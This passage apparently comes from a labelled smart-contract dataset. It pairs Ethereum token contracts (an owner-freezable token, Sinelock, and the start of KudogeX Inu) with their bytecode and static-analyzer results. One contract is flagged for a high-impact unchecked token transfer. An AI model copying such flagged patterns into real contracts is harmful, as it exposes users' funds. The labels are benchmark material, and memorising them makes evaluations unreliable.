(msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ade565b005b34801561043c57600080fd5b50610445610cfe565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d37565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc3565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e4a565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600a81526020017f4861726479436f7270730000000000000000000000000000000000000000000081525081565b6000806106ed3385610dc3565b14806106f95750600082145b151561070457600080fd5b61070e8383610fab565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b61084484848461109d565b90505b9392505050565b600581565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad4576109cf652d79883d2000600454611483565b8211156109df5760009050610ad9565b610a276000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149c565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a756004548361149c565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ad9565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b3c57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7757600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c1d57600080fd5b505af1158015610c31573d6000803e3d6000fd5b505050506040513d6020811015610c4757600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f484443000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9257600080fd5b600560009054906101000a900460ff1615610db05760009050610dbd565b610dba83836114ba565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea657600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee157600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110da57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611167576000905061147c565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111b6576000905061147c565b6000821180156111f257508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114125761127d600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611483565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113456000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611483565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113cf6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149c565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149157fe5b818303905092915050565b60008082840190508381101515156114b057fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114f757600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156115465760009050611706565b60008211801561158257508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561169c576115cf6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611483565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116596000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149c565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820028deb58c39014e13d4bd9ba419376167e0d856866d31399df9e233125ebc1380029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
1,721
0xeb2c0e11af20fb1c41c6e7abe5ad214e48738514
// SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'Sinelock' token contract // // Symbol : SINE // Name : Sinelock // Total supply: 100 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract Sinelock is BurnableToken { string public constant name = "Sinelock"; string public constant symbol = "SINE"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 100000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a11565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd7565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e68565b6040518082815260200191505060405180910390f35b6103b1610eb1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0e565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e2565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112de565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611365565b005b6040518060400160405280600881526020017f53696e656c6f636b00000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b490919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a620186a00281565b60008111610a1e57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6a57600080fd5b6000339050610ac182600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b19826001546114b490919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce8576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7c565b610cfb83826114b490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f53494e450000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4957600080fd5b610f9b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117382600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c057fe5b818303905092915050565b6000808284019050838110156114dd57fe5b809150509291505056fea2646970667358221220b42c024ad1a146ca60fab42a3d3daaa88e0ae8ac5fb41588fa3e40a14be2fc6264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,722
0x5231e139d3469ce4679e9f4318e69f87b00b0849
/** *Submitted for verification at Etherscan.io on 2021-07-08 */ /** * KudogeX Inu is going to launch in the Uniswap at July 8. This is fair launch and going to launch without any presale. tg: https://t.me/KudogeX All crypto babies will become a KudogeX in here. Let's enjoy our launch! * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint 